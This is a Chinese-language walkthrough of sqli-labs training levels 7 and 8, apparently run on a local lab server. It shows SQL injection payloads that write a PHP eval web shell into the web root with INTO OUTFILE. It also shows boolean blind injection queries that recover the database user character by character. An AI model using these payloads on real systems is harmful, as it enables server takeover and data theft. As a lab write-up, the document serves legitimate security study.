Less 7 GET - Dump into outfile - String
从题目来看的话是有关写入文件的注入了,打开题目构造参数访问看看
先添加单引号测试
出错了说明参数确实是单引号包裹的,但是这里没有具体的报错信息,还是要靠自己测试出来sql查询的结构,先添加--+将后面的语句注释掉
还是出错,那么说明前面的没有闭合。也就是说参数不单单是被单引号包裹的,那么再加一个)试试看
加了一个)还是没有闭合,那么再加一个看看
这次总算闭合成功了,那么可以确定sql查询语句应该是构造如下了
select * from users where id=((‘1’)) limit 0,1;
了解了查询语句的构造那么将接下来就简单多了。
先查询当前表的字段数
order by 3时正常,order by 4时出错说明只有三个字段。
因为这里没有显示位,所以union注入肯定是不行了。之前的报错注入也失去了作用,因为统一返回信息就是
You have an error in your SQL syntax
既然这样的话,就不进行常规的注入了,题目说到了写入文件,那么从这方面突破一下。
先测试看看能不能直接写入一个文件
http://www.bj.com/sqli-labs/Less-7/index.php?id=1')) into outfile 'D:\\1.txt' --+
页面出错了,但是在D盘中却还是写入了该文件
值得注意的是,这里测试虽然是成功写入了。但是在真实的环境中我们是需要满足以下几个条件才能像服务器写入文件的
- 用户file权限
file权限是服务器上的文件访问权限,是指在mysql服务器上有通过mysql实例读取或者写入操作系统目录文件的权限。Root用户一般都是具有该权限的。
可以在mysql数据库中自带的mysql数据库下面的user表中查看
该权限的开启与否影响如下三个操作
LOAD DATA INFILE:将文件内容导入表中;
INTO OUTFILE:将表中查询记录导出到文件中;
LOAD_FILE():读取文件中内容。
2、secure_file_priv
光是具有了file权限还不能保证就一定能够读取或者写入文件,还需要看secure_file_priv这个参数的配置。该参数是用来限制数据导入和导出操作的效果,例如执行load data、into outfile语句和load_file()函数,这些操作需要用户具有file权限。
(1)如果这个参数为空,这个变量没有任何效果。也就是说对于文件的读取或写入没有限制;
(2)如果这个参数设为一个目录名,Mysql服务只允许在这个目录中执行文件的导入和导出操作。而且这个目录必须是已经存在的,MySQL服务不会创建它;
(3)如果这个参数为NULL,MySQL服务会禁止任何的导入和导出操作。
查看一下本地的secure_file_priv参数值
show global variables like '%secure%';
可以看到参数为空值,所以是没有文件读取和写入的限制的。
3、网站绝对路径
对于写入文件来说我们需要知道网站的绝对路径,如果只是读取文件的话相对路径也可以。
如果说以上条件都符合的话,我们还可以通过直接写入一句话的shell拿到权限。如下:
http://www.bj.com/sqli-labs/Less-7/index.php?id=1')) union select 1,'<?php eval($_POST["cmd"]);?>',3 into outfile 'D:\\phpstudy_pro\\WWW\\bj\\sqli-labs\\shell.php' --+
页面显示有错误,但是服务器上已经将一句话写入到了shell.php文件中了
这里值得注意的是在路径中一定要使用\\或者/。因为单是一个\会被认为是转义。
Less 8 GET - Blind - Boolian Based - Single Quotes
从题目来看,这一关是get型的单引号的布尔盲注。
所谓的盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注。
布尔盲注就是说Web页面的返回值只有两种, True 和 False 。 所以我们只能通过测试输入的注入语句为 Ture 或 False 来判断注入的效果 , 并通过这两种可能一步步得出数据库的信息。
打开题目构造参数先访问看看
可以看到该页面依然没有返回数据库信息的地方,只存在页面显示正常或者错误两种状态
既然如此就只能通过盲注来判断数据库的信息了。
先加单引号判断查询语句结构
页面出错说明确实是单引号包裹的,那么再注释掉后面的语句
注释之后页面显示正常,说明这里的查询语句就是简单的单引号包含
select * from users where id=’1’ limit 0,1;
清楚了查询语句结构,那么后面就好办了。
判断当前用户名:
先判断用户名的长度
http://www.bj.com/sqli-labs/Less-8/index.php?id=1' and ( select length((select user())) )>10 --+
页面显示正常,所以可以推断用户名的长度是大于10的。再慢慢增大尝试,最终得到当前用户名长度为14。
然后判断用户名的具体信息
http://www.bj.com/sqli-labs/Less-8/index.php?id=1' and ( substr((select user()),1,1) )='r' --+
页面显示正常,说明当前用户名的第一个字符确实是r。依次类推我们就可以得到完整的用户名信息为root@localhost,就是root用户。
按照这个思路,我们就可以手工测试出数据库的各种数据,只不过比较耗时。可以搭配sqlmap工具更加方便。
在基于布尔的盲注中比较常用的函数就是
length() : 返回字符串的长度
substr() : 截取字符串
ascii() : 返回字符的ascii码
常见sql语句构造如下:
select length(database()) 说明:返回当前数据库名的长度
select substr(database(),1,1) 说明:截取当前数据库名字符串的第一个位置上开始第1个字符
select substr(database(),2,1) 说明:截取当前数据库名字符串的第二个位置上开始的1个字符
select substr(database(),2,2) 说明:截取当前数据库名字符串的第二个位置开始的2个字符
select ascii(substr(database(),1,1)) 说明:返回substr在当前数据库名字符串中所截得第一个字符的ascii码,ascii函数只能返回一个数字值。